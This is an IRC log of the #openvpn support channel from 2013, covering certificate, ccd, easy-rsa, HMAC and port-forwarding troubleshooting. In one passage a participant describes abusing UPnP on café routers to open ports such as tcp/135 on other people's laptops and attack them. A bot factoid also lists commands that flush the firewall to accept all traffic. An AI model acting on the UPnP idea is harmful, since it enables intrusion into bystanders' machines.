12:21 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Write error: Connection reset by peer]
12:23 -!- Changos [~Changos@unaffiliated/changos] has quit [Ping timeout: 260 seconds]
12:32 < matsh> !goal
12:32 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
12:39 -!- Changos [~Changos@unaffiliated/changos] has joined #openvpn
12:56 < matsh> Okay, I have a goal
12:56 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 276 seconds]
12:57 < matsh> I want a secure connection between >1 computers, eventually with access of the lans behind each server
13:09 < matsh> !paste
13:09 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into pastebin or a similar website or (#2) https://gist.github.com is a recommended place to use
13:16 -!- pwrcycle [~pwrcycle@173.214.160.92] has quit [Changing host]
13:16 -!- pwrcycle [~pwrcycle@unaffiliated/pwrcycle] has joined #openvpn
13:22 -!- pingUone [brads@2600:3c00::f03c:91ff:fe70:f0a9] has joined #openvpn
13:24 -!- pingUone [brads@2600:3c00::f03c:91ff:fe70:f0a9] has left #openvpn []
13:33 -!- sherl0ck [~sherl0ck@unaffiliated/sherl0ck] has joined #openvpn
13:34 < sherl0ck> using a bridge site to site VPN, each site with a dedicated dhcp server, how do i setup dns resolution? any better way then have DNS server at site A, and site B would then use site A DNS server through the tunnel?
13:34 -!- sherl0ck [~sherl0ck@unaffiliated/sherl0ck] has left #openvpn []
13:34 -!- sherl0ck [~sherl0ck@unaffiliated/sherl0ck] has joined #openvpn
13:34 < sherl0ck> thanks
13:51 <@novaflash> !dns
13:51 <@vpnHelper> "dns" is (#1) Level3 open recursive DNS server at 4.2.2.[1-6] or (#2) Google open recursive DNS server at 8.8.8.8 / 8.8.4.4 or (#3) you might be looking for !pushdns
13:52 <@novaflash> !pushdns
13:52 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
13:52 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
13:54 < sherl0ck> yea thought so
13:54 < sherl0ck> thanks
13:55 -!- sherl0ck [~sherl0ck@unaffiliated/sherl0ck] has left #openvpn ["PING 1361130913"]
13:58 -!- Changos [~Changos@unaffiliated/changos] has quit [Ping timeout: 256 seconds]
13:59 -!- Changos [~Changos@190.147.184.189] has joined #openvpn
13:59 -!- Changos [~Changos@190.147.184.189] has quit [Changing host]
13:59 -!- Changos [~Changos@unaffiliated/changos] has joined #openvpn
14:01 -!- brute11k [~brute11k@89.249.230.159] has joined #openvpn
14:01 -!- brute11k1 [~brute11k@89.249.230.159] has quit [Read error: Operation timed out]
14:06 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
14:15 < Changos> pekster: nothing :s, I look the firewall on my client site, and just fine, I guess :/
14:37 -!- Valcorb__ [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
14:37 -!- Valcorb__ [~Valcorb@d54C68BC0.access.telenet.be] has quit [Client Quit]
14:38 -!- Valcorb__ [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
14:38 < matsh> I get some tls errors: http://pastebin.com/u8R2SCWP
14:39 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
14:46 -!- max_ [~max@98.225.19.83] has quit [Remote host closed the connection]
14:55 < Changos> matsh: try again to make certificate
15:00 < matsh> clean-all and redo all of them?
15:03 < Changos> !help
15:03 <@vpnHelper> (help [<plugin>] [<command>]) -- This command gives a useful description of what <command> does. <plugin> is only necessary if the command is in more than one plugin.
15:03 < Changos> !site_to_site
15:08 < rfxn> !help site_to_site
15:08 <@vpnHelper> Error: There is no command "sitetosite".
15:15 < matsh> !help client-to-client
15:15 <@vpnHelper> Error: There is no command "clienttoclient".
15:19 < matsh> Changos: Still the same after making new certs
15:20 < Changos> matsh: :S
15:20 < matsh> I have also opened for all udp on both ends for testing
15:22 -!- ade_b [~Ade@koln-5d819626.pool.mediaWays.net] has joined #openvpn
15:22 -!- ade_b [~Ade@koln-5d819626.pool.mediaWays.net] has quit [Changing host]
15:22 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
15:57 -!- Valcorb__ [~Valcorb@d54C68BC0.access.telenet.be] has quit []
16:00 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:03 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit []
16:08 -!- Orbi [~opera@109.129.9.231] has left #openvpn []
16:10 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
16:23 -!- rrva [unknown@y.mima.x.se] has joined #openvpn
16:24 < rrva> hi. I want to go from a single client single server static key setup to a two (not more) client single server setup. Whats the easiest route?
16:32 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
16:37 -!- n0sq [~quassel@75-135-14-61.dhcp.krny.ne.charter.com] has joined #openvpn
16:47 -!- Changos [~Changos@unaffiliated/changos] has quit [Ping timeout: 248 seconds]
17:13 -!- hazardous [~dbn@void.kassad.in] has quit [Changing host]
17:13 -!- hazardous [~dbn@openvpn/user/hazardous] has joined #openvpn
17:13 -!- mode/#openvpn [+v hazardous] by ChanServ
17:19 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
17:20 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Quit: Leaving]
17:52 < LifeIsPain> Is there a method of checking why the private key isn't loaded based off of the error message more specifically? : Cannot load private key file /path/to/openvpn/key.pem: error:0B080074:lib(11):func(128):reason(116)     Error: private key password verification failed
17:53 < LifeIsPain> issue being that there isn't a key password
17:55 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit []
18:18 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
18:25 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 256 seconds]
18:34 -!- brute11k1 [~brute11k@89.249.230.159] has joined #openvpn
18:34 -!- brute11k [~brute11k@89.249.230.159] has quit [Ping timeout: 264 seconds]
18:51 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
18:59 -!- catsup [~d@64.111.123.163] has joined #openvpn
19:01 -!- b1rkh0ff [~b1rkh0ff@178.77.27.113] has quit [Ping timeout: 240 seconds]
19:04 -!- digilink [~digilink@unaffiliated/digilink] has quit [Ping timeout: 248 seconds]
19:10 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
20:04 -!- Changos [~Changos@unaffiliated/changos] has joined #openvpn
20:33 -!- digilink [~digilink@unaffiliated/digilink] has quit [Ping timeout: 252 seconds]
20:49 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
20:52 -!- baobeiiii [~baobeiiii@180.155.14.35] has joined #openvpn
20:52 < baobeiiii> client stuck in management:wait
20:57 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
21:01 < kisom> baobeiiii: OK, I'll note that down :)
21:02 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit []
21:05 -!- SpeedingBus [~root@216.17.109.26] has joined #openvpn
21:14 -!- SpeedingBus [~root@216.17.109.26] has quit []
21:15 -!- SpeedingBus [~root@5.231.5.192] has joined #openvpn
21:24 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Read error: Connection reset by peer]
21:25 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
21:25 -!- SpeedingBus [~root@5.231.5.192] has quit [Ping timeout: 248 seconds]
21:28 -!- SpeedingBus [~root@5.231.5.192] has joined #openvpn
21:29 < baobeiiii> can't ping the server but its up
21:30 < baobeiiii> i guess ip is blocked
21:31 < SpeedingBus> what ip is it?
21:38 < baobeiiii> 192.73.252.241
21:38 < baobeiiii> no ssh or ping from here
21:39 < baobeiiii> had two servers, both ip's seem blocked
21:41 < baobeiiii> if its the case just hopeing it was auto blocked by chinese firewall and not some guy intent on ruining my day
21:45 < SpeedingBus> I can ping that ip
21:45 < SpeedingBus> isn't that good news
21:45 < baobeiiii> i just reprovisioned my server to a new cloud
21:45 < baobeiiii> similar ip but different, can now ssh
21:45 < baobeiiii> normally i use the openvpn snapshot repo but i can't find a link for it without vpn lol
21:47 < SpeedingBus> are you from China?
21:47 < baobeiiii> Shanghai
21:47 < SpeedingBus> the firewall there sounds scarry
21:48 < baobeiiii> basically i need to wget http://openvpn snapshot for centos/redhat
21:48 < baobeiiii> then rpm -Uvh the above
21:49 < SpeedingBus> I think most of us use wget to get openvpn
21:49 < baobeiiii> this would be the first time i've had the entire ip blocked, perhaps they blocked a subnet
21:49 < SpeedingBus> I mean, that's the fastest way
21:49 < SpeedingBus> yeah, definitely sounds scarry
21:49 < SpeedingBus> I can't imagine living in shanghai without internet!
21:50 < baobeiiii> its one of the better places, at least we have fibre here
21:50 < baobeiiii> but a huge pita without vpn
21:51 < baobeiiii> constant connection resets on google and a ton of websites
21:51 -!- brute11k [~brute11k@89.249.230.159] has joined #openvpn
21:51 < baobeiiii> could you pleaseeee google 'openvpn repo' then the first link click, copy paste the download link for the redhat repo
21:52 < baobeiiii> then i'll be back on my feet :)
21:52 -!- brute11k1 [~brute11k@89.249.230.159] has quit [Ping timeout: 256 seconds]
21:54 < SpeedingBus> https://community.openvpn.net/openvpn/wiki/OpenvpnSoftwareRepos
21:54 <@vpnHelper> Title: OpenvpnSoftwareRepos – OpenVPN Community (at community.openvpn.net)
21:55 < baobeiiii> yea that's the link, but blocked here
21:56 < baobeiiii> once in there, there's normally a list of OS, just need the redhat one
21:56 < SpeedingBus> i hope pastebin isn't blocked
21:56 < SpeedingBus> http://pastebin.com/bs5kFv0F
21:56 < SpeedingBus> there you go
21:57 < baobeiiii> pastebin is lol
21:58 -!- rych [~root@5.231.5.192] has joined #openvpn
21:59 < rych> http://repos.openvpn.net/repos/yum/conf/repos.openvpn.net-CentOS6-snapshots.repo
22:01 < baobeiiii> thanks!
22:01 -!- SpeedingBus [~root@5.231.5.192] has quit [Ping timeout: 248 seconds]
22:01 -!- rych is now known as SpeedingBus
22:01 < SpeedingBus> np
22:03 < baobeiiii> got it installed
22:03 < SpeedingBus> that was fast
22:04 < SpeedingBus> do you own sanjose.com?
22:04 < baobeiiii> once u add the repo just yum install openvpn
22:04 < baobeiiii> yea
22:05 < baobeiiii> damn easy-rsa isn't bundled with 2.3
22:06 < SpeedingBus> lol
22:06 < SpeedingBus> It would be a hell lot easier if you just use debian
22:06 < SpeedingBus> installing it is just a matter of apt-get openvpn
22:06 < SpeedingBus> with everything
22:07 < baobeiiii> debian use the new release?
22:07 < SpeedingBus> hmm maybe not
22:07 < SpeedingBus> i think it uses 2.2
22:07 -!- n0sq [~quassel@75-135-14-61.dhcp.krny.ne.charter.com] has quit [Remote host closed the connection]
22:07 < pekster> 2.2. should be fine unless you need the IPv6 or other recent features
22:08 < baobeiiii> well i've got the server up and openvpn 2.3 installed, just need a kind soul to give me a link to download easy-rsa
22:10 -!- hydroxyhydride [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has joined #openvpn
22:10 -!- bumblebee [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has joined #openvpn
22:12 < SpeedingBus> you mean there is no easy-rsa folder under openvpn?
22:13 < pekster> The Unix/Linux project split it off into a separate functional project, since they're not really realted (but useful together)
22:14 < pekster> Here's the latest official project download: the master should be fine to use: https://github.com/OpenVPN/easy-rsa/archive/master.zip
22:14 < pekster> Well, latest cocde download
22:14 < SpeedingBus> nice
22:14 < pekster> Not the official release, but that includes some improvements anyway to the security (using sha256, and 2048 keysizes)
22:14 < baobeiiii> thanks
22:14 < baobeiiii> i always change to 2048
22:15 < baobeiiii> sha256 will add a bit of overhead
22:15 < pekster> Not really
22:15 < pekster> It's the X509 signature alg, so it's only used for the control channel stuff
22:17 < pekster> baobeiiii: Oh, that might actually need some adjustment since it won't flawlessly work until "built" due to some references in the vars file :\
22:18 < baobeiiii> u mean if i dont use sha?
22:18 < pekster> Oh, nevermind, I was mistaken; it'll work fine (I missed a script that makes it all work)
22:18 < pekster> Just cd into the 2.0 folder under easy-rsa and you should be set
22:19 < pekster> That zip is the upstream source, so it includes the "old" 1.0 and Windows versions too, but it's more recent and includes a fix I wrote to improve the security in line with recent standards improvements (thus making it more secure)
22:20 < baobeiiii> so i just use the 2.0 dir one
22:21 < pekster> Yea
22:21 < baobeiiii> ah thats cool that you worked on it
22:21 < SpeedingBus> pekster: how do one use the client dnat directive in openvpn 2.3?
22:22 < pekster> I'm trying to pretend that option doesn't exist...
22:22 < pekster> It's an awful hack
22:22 < SpeedingBus> how is it awful? You mean it's broken?
22:23 < SpeedingBus> doesn't work etc etc?
22:23 < pekster> No, as in it's something you shouldn't ever have to do
22:23 < baobeiiii> ah you left the fields in there
22:23 < baobeiiii> should remove them ;)
22:23 < pekster> It "works" as much as any convulted network remap NAT hack does
22:23 < baobeiiii> country, email etc
22:23 < pekster> baobeiiii: That's on my todo list
22:23 < baobeiiii> just deleting them doesnt work?
22:23 < pekster> For now, just type the '.' character to not include them in your certs
22:24 < baobeiiii> "." for each, cool
22:24 < pekster> Just the CN is needed
22:24 < pekster> None of that email, country, state, province, etc crap
22:25 < pekster> I use a different set of scripts that better meet my needs, but the effect if you leave them out is like this: http://fpaste.org/GbdX/
22:27 < pekster> SpeedingBus: Those "nathack" options are for transparently re-writing networks to use the same numbered networks on either side of a VPN connection, while pretend to the local side that the remote "duplicate" network is accessible on a faked equivilent network. One can do hackary like that in iptables/ipf too, but now it's a "helpful" option. It's still a really ugly NAT hack that you should fix by properly numbering networks
22:28 < pekster> If that got cut off, "... It's still a really ugly NAT hack that you should fix by properly numbering networks"
22:28 < baobeiiii> edited vars using "."
22:29 < baobeiiii> making the ca it says 'country name too short, needs to be 2 bytes long'
22:29 < pekster> Yea, don't do that
22:29 < pekster> The . is for interactive usage
22:30 < pekster> At least I thought you could leave it out...
22:33 < pekster> Yea, it does
22:34 < baobeiiii> works
22:34 < baobeiiii> just by typing .
22:34 < baobeiiii> thx
22:34 < baobeiiii> what did u type to view the info as in that paste?
22:35 < pekster> openssl x509 -in file.crt -noout -text
22:35 < pekster> It's just showing you the "printable" format of the cert file
22:40 < baobeiiii> what was the command to make ta.key
22:40 < baobeiiii> last part then i should be able to connect
22:42 < pekster> openvpn --genkey --secret secret.key
22:43 < pekster> or ta.key, call it w/e
22:45 < baobeiiii> cheers
22:45 < baobeiiii> if u get around to tinkering with easy-rsa again, please have it make the key files 0400
22:45 < baobeiiii> just one less step ;)
22:46 < Changos> pekster: I have same problem :s
22:49 < Changos> just now I check with tcpdump on both sites, I test with ping from some PC on server site to some PC on client site. And server site packages going to tunnel VPN. But the other end (client) with tcpdump don't see anything
22:49 < Changos> vice versa is ok
22:49 < Changos> I check my firewall, and I've all input and output traffic on tun0 is clear on client site
22:53 < Changos> I check again my route table and is all fine
22:55 < Changos> I don't know, but some page was saying that this configuration only work with static key, and not with certificates. This is true ?, I don't think so
23:00 -!- Devastator- [~devas@186.214.110.24] has joined #openvpn
23:01 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 245 seconds]
23:11 < pekster> Changos: Is the target of your ping the VPN client, or a PC on a LAN behind the VPN client?
23:18 < Changos> ping from any PC on server to VPN Client target successfull, ping fron any PC on server to Ethernet LAN or any PC on LAN on client unsuccessfull
23:18 < Changos> pekster: ---^
23:21 < pekster> Can you pastebin your server config, client config, and server ccd file for the client?
23:22 < Changos> sure
23:26 < Changos> pekster: http://pastebin.ca/2314911
23:29 < pekster> Changos: Is the client CN 'client1' and not 'client01' ?
23:31 < pekster> In other words, if you do this command on the client, you should see the text "CN=client1" in the output: openssl x509 -in client01.vdcoop.co.key -noout -text | grep Subject
23:34 < baobeiiii> hmm can't start up openvpn service
23:34 < baobeiiii> failed
23:34 < baobeiiii> done it so many times, haven't missed anything
23:35 -!- Orbi [~opera@109.129.3.224] has joined #openvpn
23:35 -!- Orbi [~opera@109.129.3.224] has left #openvpn []
23:35 < baobeiiii> openvpn.log says cannot openvpn tun/tap dev no such device
23:36 < pekster> Missing kernel tun support most likely, or you've specified a specific named device that doesn't exist
23:37 < Changos> pekster: CN=client01/name=changeme/emailAddress=
23:37 < pekster> Changos: That's your problem them. The ccd file must *exactly* match the client CN. So, your file must be named client01, not client1
23:37 < Changos> baobeiiii: compile kernel with support to tun/tap
23:41 < Changos> pekster: seriously ?, damn, ok, I change it
23:41 < Changos> and working !
23:41 < Changos> -_- fucking stupid error
23:41 < Changos> pekster: thanks you very much :D
23:41 < pekster> You'll also save IPs if you use the 'topology subnet', although with just 2 devices, you can continue to use net30 like you are on a /29
23:42 < LifeIsPain> pekster: well, I have it all running, figured out a fair amount, and part of it was user error, part of it was dd-wrt allowing for the user error and not complaining at any point, and some of it was oddity in dd-wrt I had to figure out a way around
23:42 < pekster> However, you can't connect another client since you're out of IPs now :)
23:42 < LifeIsPain> thanks much for the pointers ~23 hours ago and on
23:43 < pekster> LifeIsPain: Yea, embedded devices tend to abstract and hide things behind layers and layers of UI and scripts
23:43 < pekster> Great if the magic pixie dust does what you want, but not so great if you need to learn how it works with no prior development work on that project
23:43 < LifeIsPain> which is all fine and dandy if it just actually works
23:44 < LifeIsPain> pretty much, trying to figure out around the oddities they introduce
23:44 < pekster> OpenWRT has the same kind of setup, with the end-goal of "easy setup" in a web page. I trashed that whole setup and just wrote my own init shell script to do exactly what I wanted
23:45 < LifeIsPain> you get more control if you do that, yep
23:46 < baobeiiii> k sent my provider a ticket
23:46 < baobeiiii> its virtualised so can't load modules myself
23:46 < LifeIsPain> only issue I ran into after wards is I went to a heavily firewalled location to try and connect, first it didn't think I was in the right subnet, then once I was, it was using the site's DNS which was not accessible
23:47 < baobeiiii> pekster, noticed in my log that it's using SHA1, wasn't that easy-rsa supposed to use SHA2 by default?
23:47 < LifeIsPain> but any who, thanks much, I'll stick around for a bit, possibly field some answers, shouldn't screw anything up too much while doing so ;)
23:47 < Changos> pekster: yeah, I know, I configure the subnet purposely ;)
23:51 < Changos> Is incredible that I try fixed the problem for aprox 40 hours and finally were the file name. Any place on Internet when I reading see anything about it -_- !
23:55 < pekster> baobeiiii: SHA1 for what, the X509 cert? By default openvpn still uses SHA1 as the HMAC unless you change it with the --alg directive
23:55 < pekster> The X509 signature method is separate from the HMAC on the data channel
23:56 < baobeiiii> was looking at hmac
23:56 < pekster> Yea, that defaults to SHA1 still unless you override it
23:56 < baobeiiii> alg SHA2 in server right
23:56 < baobeiiii> auth rather
23:56 < pekster> Yup, that's it
23:56 < pekster> SHA256
23:57 < pekster> See: openvpn --show-digests
23:57 < pekster> You can use SHA512, but the method doesn't really offer any better protection, and takes twice as much room in each packet (so I think it's a waste)
23:58 < baobeiiii> as i know sha1 is a bit weak
23:58 < baobeiiii> ill just use sha256
23:58 -!- vraa__ [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
23:59 < pekster> The chances it'll make a difference is really low, but there's no reason not to migrate to sha2 unless it's actually not supported on one of your devices (and I'd be very surprised to see that on any modern system made in the last decade or so)
--- Day changed Mon Feb 18 2013
00:01 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 256 seconds]
00:16 -!- brute11k1 [~brute11k@89.249.230.159] has joined #openvpn
00:17 < matsh> pekster: Still here?
00:17 -!- brute11k [~brute11k@89.249.230.159] has quit [Ping timeout: 245 seconds]
00:28 < pekster> matsh: Looking back at your pastebin link, your server is configured to require a certificate with the "server" attribute in the ns-cert-type field. You probably don't want this
00:29 -!- brute11k [~brute11k@89.249.230.159] has joined #openvpn
00:29 < pekster> Remove that, or use ns-cert-type client instead
00:29 < pekster> ie: the server checks that it gets a *client* cert, and the client checks that it gets a *server* cet
00:30 < SpeedingBus> pekster, how do i set dmz to my internal lan?
00:30 -!- brute11k1 [~brute11k@89.249.230.159] has quit [Ping timeout: 248 seconds]
00:36 < pekster> huh? OpenVPN has no concept of "DMZ" or "LAN"
00:37 < baobeiiii> networking channel
00:37 -!- brute11k [~brute11k@89.249.230.159] has quit [Ping timeout: 248 seconds]
00:38 < EugeneKay> The concept of a "LAN DMZ" is the most annoying thing to develop in home networking parlance since 192.168.1.x
00:38 < SpeedingBus> yeah, i was asking if i am using this on a linux system, what sort of settings/configuration do i need to set in iptables to have my internal ips, eg 10.8.x.x to be dmz by default
00:39 < pekster> Describe what you want; don't use a buzword like "DMZ" since that means a completely different thing to me than I'm sure you mean
00:40 < SpeedingBus> ok, eg i have a vps which i have openvpn setup
00:40 < EugeneKay> When you say "DMZ" I imagine the space between the north and south korean armies
00:40 < SpeedingBus> EugeneKay: lol no
00:40 < SpeedingBus> lulz
00:40 < SpeedingBus> okay i have openvpn setup on my vps
00:41 < SpeedingBus> and i want to host a shoutcast from my pc(instead of the vps)
00:42 < SpeedingBus> now i was told that i need to open/forward certain ports for it to work
00:42 < SpeedingBus> so i did and that worked great
00:42 < SpeedingBus> but i was wondering if it is possible to have dmz(regardless of what port i want to use, instead of specifying a specific port in iptables)
00:43 < SpeedingBus> i can do it on openvpn-as
00:43 < SpeedingBus> but i was wondering if it can be done on openvpn instead
00:43 < SpeedingBus> *too
00:44 < EugeneKay> I'm assuming that by "DMZ" you mean "forward traffic for arbitrary ports to a client"
00:44 < EugeneKay> (please, stop using that word)
00:44 < SpeedingBus> yeah
00:45 < SpeedingBus> if i need to open a specific port, i need to set it in iptables
00:45 < EugeneKay> UPnP is one of several ways this can be done
00:45 < SpeedingBus> urgh..how do i set upnp?
00:45 < SpeedingBus> is that iptables?
00:45 < EugeneKay> Dark magic and unicorn sacrifice
00:45 < SpeedingBus> fuck i'll do it.
00:46  * SpeedingBus sacrifices a unicorn
00:46 < SpeedingBus> there
00:46 < SpeedingBus> teach me
00:46 < EugeneKay> I've never done it :-p
00:46 < EugeneKay> Try googling for 'linux upnp'
00:46 < SpeedingBus> damit Eugene. I want my unicorn back
00:46 < pekster> uPnP is a pain, but it's great fun to abuse on routers that leave it on at wifi cafes to punch a quick port for myself
00:47 < pekster> You're far better off blindly forwarding everything through iptables to your "special" client, or doing it dynamically when it connects by way of a client-connect script
00:47 < pekster> Optionally, give it a static IP and blindly DNAT to that static IP (that should be outside of your pool range)
00:49 < SpeedingBus> I've done it by assigning static ip but i want all ports to be "opened", eg: a "dmz"
00:49 < SpeedingBus> how do i set that?
00:50 < EugeneKay> !iptables
00:50 <@vpnHelper> "iptables" is (#1) to test if iptables is your problem, disable all rules or put the defaults to accept: iptables -P INPUT ACCEPT; iptables -P OUTPUT ACCEPT; iptables -P FORWARD ACCEPT; iptables -F; iptables -Z or (#2) please see http://openvpn.net/man#lbBD for more info or (#3) you can see http://www.secure-computing.net/wiki/index.php/OpenVPN/Firewall for pf or iptables or (#4) These is just
00:50 <@vpnHelper> the basics to get OpenVPN working. Proper firewall design is beyond the scope of this channel. You can try #iptables
00:50 < EugeneKay> See #4 ;-)
00:52 < pekster> That needs to be updated to #netfilter. Last I checked, the bot still thinks I'm scum
00:52 < pekster> !forget iptables 4
00:52 <@vpnHelper> Error: You don't have the factoids.forget capability. If you think that you should have this capability, be sure that you are identified before trying again. The 'whoami' command can tell you if you're identified.
00:53 -!- mode/#openvpn [+o pekster] by ChanServ
00:53 <@pekster> !forget iptables 4
00:53 <@vpnHelper> Error: You don't have the factoids.forget capability. If you think that you should have this capability, be sure that you are identified before trying again. The 'whoami' command can tell you if you're identified.
00:53 -!- mode/#openvpn [-o pekster] by ChanServ
01:07 -!- baobeiiii [~baobeiiii@180.155.14.35] has quit [Quit: Leaving]
01:14 < SpeedingBus> <twb> You should go back to #openvpn and tell them your server is pushing a 0/0 route and you don't want it to
01:14 < SpeedingBus> anyone know how do i remove 0/0?
01:20 -!- SpeedingBus is now known as BusIsSpeeding
01:26 < matsh> I don't know if there is such an equivalent for Linux, but in FreeBSD I use miniupnpd on routers.
01:27 < pekster> I've got that in my Linux distro
01:27 < pekster> upnp is really overkill here
01:27 < matsh> I didn't really read the whole conversation, just noticed some talk about upnp :)
01:30 < pekster> I had fun playing with some tools on backtrack to (ab)use some routers. I even was able to punch holes in the NAT/forwarding on a router that's used on my LAN as an AP-only. I found i could open a port for a *differnet* LAN IP besides my own, heh
01:31 < pekster> upnp tends to be really badly implemented and full of attack vectors :(
01:33 < matsh> Heh, that's not good
01:34 < matsh> How? By code injection?
01:34 -!- BusIsSpeeding is now known as jaws
01:34 < pekster> No. Simply by asking it to open the port ;)
01:34 < pekster> Some run-of-the-mill home router, and it specifically takes the target LAN IP in the command
01:35 < matsh> So instead of determining IP by itself, it asks for an IP to forward the port to?
01:35 < pekster> Yup
01:37 < matsh> Werd.
01:37 < pekster> I'd be trivial to write a script to open, say, tcp/135 and similar to an entire coffee shop, for instance
01:37 < pekster> Then leave and happily attack all the unprotected laptops remotely
01:37 < pekster> It'd*
01:39 < matsh> Too easy
02:05 -!- rrva [unknown@y.mima.x.se] has quit [Quit: Lost terminal]
02:15 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 252 seconds]
02:29 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
02:46 -!- jaws [~root@5.231.5.192] has quit []
02:53 -!- peter_lee [~chatzilla@adsl-69-209-207-187.dsl.chcgil.sbcglobal.net] has joined #openvpn
02:53 < peter_lee> Hey is VPN platform independent or dependent?
02:54 -!- Changos [~Changos@unaffiliated/changos] has quit [Ping timeout: 244 seconds]
02:54 < pekster> OpenVPN is platform independent in the sense that is has been ported to a wide variety of systems including Linux/Unix, Mac, Windows, iOS, Android, and probably others
02:55 < pekster> Well, "ported" is less the term as most of the code is platform independent, but portions are the official source are written to handle each platform's quirks
02:55 < peter_lee> So for example, let's say I have a dual boot laptop with 2 operating systems: Linux & Windows. If I install VPN on Linux will it work on Windows automatically?
02:56 < pekster> The config is portable. The binaries are of course not
02:56 < peter_lee> So I'd have to manually install it on Windows?
02:56 < pekster> Yes. Windows cannot read ELF binaries
02:56 < peter_lee> oh interesting, thanks
02:57 -!- peter_lee [~chatzilla@adsl-69-209-207-187.dsl.chcgil.sbcglobal.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 15.0.1/20120905151427]]
03:02 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
03:20 -!- kobolduk [~kobolduk@office.prolocation.net] has joined #openvpn
03:22 -!- zz_AsadH is now known as AsadH
03:34 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Read error: Connection reset by peer]
03:35 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
03:35 -!- mode/#openvpn [+o vpnHelper] by ChanServ
03:37 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
03:46 -!- baobeiiii [~baobeiiii@180.155.14.35] has joined #openvpn
03:47 < baobeiiii> vpn finally up again! :)
03:47 < baobeiiii> thanks for help everyone
03:54 < pekster> You might want to save your configs this time
03:55 -!- amir [~amir@unaffiliated/amir] has quit [Ping timeout: 252 seconds]
03:56 < baobeiiii> pekster, certainly will
03:57 < baobeiiii> even saved all the direct download links
03:57 < pekster> You can probably also use "links" or similar as a console-based web browser on a console-only server
03:57 < pekster> ie: browse the web from the VPS outside the censorship
03:58 < baobeiiii> only unusual item in my logs is
03:58 < baobeiiii> Mon Feb 18 04:54:46 2013 IP packet with unknown IP version=15 seen
03:58 < baobeiiii> repeated often, other than that working fantastically
03:58 < pekster> Using tap?
03:58 < baobeiiii> tun
03:59 < pekster> Interesting. THat's on the server logs?
03:59 < baobeiiii> yea
04:00 < baobeiiii> now i can use pastebin again too :) http://pastebin.com/jLDqLqPa
04:08 -!- amir [~amir@unaffiliated/amir] has joined #openvpn
04:08 < pekster> Ah, okay. Now that I dig further I see how that could end up as an error in tun mode too
04:09 < pekster> It's a little strange, because it means the endpoint peer sent something marked with an IP version "15" when only 4 and 6 (for IPv4 and IPv6) are supported
04:09 < pekster> But, it doesn't hurt anything; it's just a warning that it's dropping the packet
04:20 < baobeiiii> as long as it's not a security risk etc then i can live with it
04:22 < pekster> No security problem since it passed the authentication checks. An attacker would have to posess the client's private key (or somehow magically continue to get every static key that's geneated hourly) in order to forge that
04:22 < pekster> Failed packets get flagged to with a message like 'decryption failed' or similar
04:25 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn
04:25 -!- mode/#openvpn [+o dazo] by ChanServ
04:28 < pekster> The other thing I'm noting is that message occurs nearly a minute before the client actually connected
04:32 < baobeiiii> ah
04:33 < baobeiiii> i'm sure very few have ever seen decryption failed lol
04:33 < baobeiiii> we're all super careful but in reality it doesnt happen
04:33 < baobeiiii> that log shows two different clients connecting (me and bro)
04:34 < pekster> Right, but line 23-24 occurs before any client is connected
04:35 < pekster> It's possible that's geneated from a locally-created packet, ie: something the server itself is sending (maybe some self-test network daemon thing)
04:35 < pekster> No idea why it gets "IP version=15" though
04:36 < baobeiiii> maybe one day there will be ip15 lol then it wont be an error
04:36 < pekster> It will be if the code doesn't support it
04:37 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has joined #openvpn
04:37 < pekster> http://fpaste.org/juht/ (from mroute.c)
